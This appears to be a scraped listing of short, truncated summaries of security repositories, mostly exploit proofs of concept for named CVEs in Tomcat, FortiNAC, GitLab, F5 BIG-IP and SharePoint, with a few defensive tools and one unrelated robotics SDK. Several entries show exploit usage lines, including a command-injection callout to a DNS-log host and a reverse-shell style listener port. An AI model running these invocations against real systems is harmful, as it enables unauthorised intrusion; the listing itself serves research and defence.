CVE-2020-9484

CVE-2020-9484 POC for CVE-2020-9484 POC for CVE-2020-9484 Apache Tomcat RCE by deserialization CVE-2020-9484 Explore the docs » Getting Started 1. Clone this repository, then you will be able to use CVE-2020-9484 and modify the source code if needed. 2. Download ysoserial jar 3. place both...

CVE-2022-39952-better

FortiNAC CVE-2022-39952 PoC for CVE-2022-39952 affecting Fortinet FortiNAC. This exploit allows an attacker to execute arbitrary commands on the FortiNAC server. It is based on the PoC developed by horizon3ai, with additional options for targeting multiple hosts. Disclaimer: This exploit is for...

eLabFTW-1.8.5-EntityController-Arbitrary-File-Upload-RCE

エクスプロイトタイトル : eLabFTW 1.8.5 'EntityController' 任意のファイルアップロード / RCE 日付 : 5/18/19 エクスプロイト作者 : liquidsky Joseph McPeters 脆弱なソフトウェア : eLabFTW 1.8.5 ベンダーホームページ : https://www.elabftw.net/ バージョン : 1.8.5 ソフトウェアリンク : https://doc.elabftw.net/ テスト環境 : Linux / PHP Version 7.0.33 / デフォルトインストール Softaculous 作者サ...

By-Poloss..-..CVE-2026-18080

CVE-2026-18080 — ERP Complete HR, Accounting & CRM Suite = 1.17.7 未认证的任意文件上传，通过 CRM 邮件连接 IMAP 附件（路径遍历 → RCE）...

CVE-2021-22205

CVE-2021-22205 Affected versions: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Usage root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Get csrf-token: Obtain the csrf-token via /users/signin, then use the previous CVE-2021-22205 POC to construct and execute an...

pylane

pylane 简体中文 Pylane is a python vm injector with debug tools, based on gdb and ptrace. Pylane uses gdb to trace python process, inject and run some code in its python vm. Usage use inject command to inject a python script in an process: root@kitploit: pylane inject use shell command to inject an...

CVE-2023-36874_BOF

CVE-2023-36874 Windows Error Reporting LPE BOF Introduction This is a mature and operational CobaltStrike BOF implementation of Filip Dragovic's @filipdragovic CVE-2023-36874 Windows Error Reporting LPE exploit. He did the heavy lifting in terms of creating a working exploit by reversing the...

CVE-2023-38408

OpenSSH Vulnerability - CVE-2023-38408 📚 Introduction A vulnerability was found in OpenSSH before 9.3p2 version. The PKCS11 feature in the ssh-agent in OpenSSH has an insufficiently trustworthy search path, leading to remote code execution if an agent is forwarded to an attacker-controlled system...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script A short and sweet simple exploit script for the CVE-2012-2982 Authenticated RCE vulnerability in the /file/show.cgi/bin endpoint. Webmin RCE Exploit — CVE-2012-2982 This repository contains a Python proof-of-concept exploit for Webmin = 1.580, targeting a known remote...

CVE-2022-1388

CVE-2022-1388 Poc:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url Exp:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url --attack --command command 免責事項 このツールは学習、研究、自己点検のみを目的としています。不正な目的で使用してはなりません。本ツールの使用によって生じる一切のリスクは私とは関係ありません！ Disclaimer This tool is for study, research, and self-examination...

CVE-2026-33017

CVE-2026-33017 — Langflow Unauthenticated RCE HoGent CyberSecurity II — Network Pentesting & Exploitation NPE Academic year 2025–2026 Overview This repository contains a complete lab environment and exploitation demonstration of CVE-2026-33017 , a critical unauthenticated Remote Code Execution RC...

detect-CVE-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark I. Overview of CVE-2019-15107 Webmin is a web-based interface for system administration for Unix. Using any web browser, you can set up user accounts, Apache, DNS, file sharing, and more. On August 10, 2019, Turkish cybersecurity researcher Özkan Mustafa Akkuş...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Unauthenticated Remote Code Execution https://vulners.com/cve/CVE-2022-24637 Example root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

CVE-2014-4481

CoreGraphics CCITT Memory Corruption - CVE-2014-4481 Apple CoreGraphics framework fails to validate the input when parsing CCITT group 3 encoded data resulting in a heap overflow condition. A small heap memory allocation can be overflowed with controlled data from the input resulting in arbitrary...

CVE-2020-9496

CVE-2020-9496 - RCE webtools の 2 つの xmlrpc 関連リクエスト xmlrpc および ping は認証を使用していないため、安全でない逆シリアル化に対して脆弱です。この問題は、GitHub Security Lab チームの Alvaro Munoz [email protected] からセキュリティチームに報告されました。 この脆弱性は、/webtools/control/xmlrpc に送信されたリクエストを処理する際の Java...

autoSource

AutoSource AutoSource es un marco de revisión automatizada de código fuente integrado con SonarQube, capaz de realizar análisis/revisiones estáticas de código. Se puede utilizar para encontrar vulnerabilidades de manera efectiva en una etapa muy temprana del SDLC Ciclo de Vida del Desarrollo de...

FTC-Skystone-Dark-Angels-Romania-2020

NOTICE This repository contains the public FTC SDK for the SKYSTONE 2019-2020 competition season. Formerly this software project was hosted here. Teams who are competing in the SKYSTONE Challenge should use this new SKYSTONE repository instead of the older and no longer updated ftcapp repository...

CVE-2026-20841_notepad_analysis

Purpose Investigate the Microsoft Notepad RCE vulnerability CVE-2026-20841, perform binary analysis, and create a PoC exploit for learning purposes. Role Assignment Launch an Agent Team to execute the role assignment I have in mind. Binary Hunter: Collects binaries before and after the patch is...

hotpatch-for-apache-log4j2

Log4jHotPatch 这是一个将 Java agent 注入到正在运行的 JVM 进程中的工具。该 agent 会尝试修补所有已加载的 org.apache.logging.log4j.core.lookup.JndiLookup 实例的 lookup 方法，使其无条件返回字符串 "Patched JndiLookup::lookup"。该工具旨在解决 CVE-2021-44228 中披露的 Log4j 远程代码执行漏洞，而无需重启 Java 进程。该工具同样可用于解决 CVE-2021-45046。 目前仅在 Linux 上使用 JDK 8、11、15 和 17 进行过测试！ 构...

CVE-2025-53770

Divine Absolute - CVE-2025-53770 Exploit Tool Overview Divine Absolute is a sophisticated, wizard-driven Python exploit tool targeting CVE-2025-53770 , a critical CVSS 9.8 unauthenticated remote code execution RCE vulnerability in on-premises Microsoft SharePoint Server 2016, 2019, Subscription...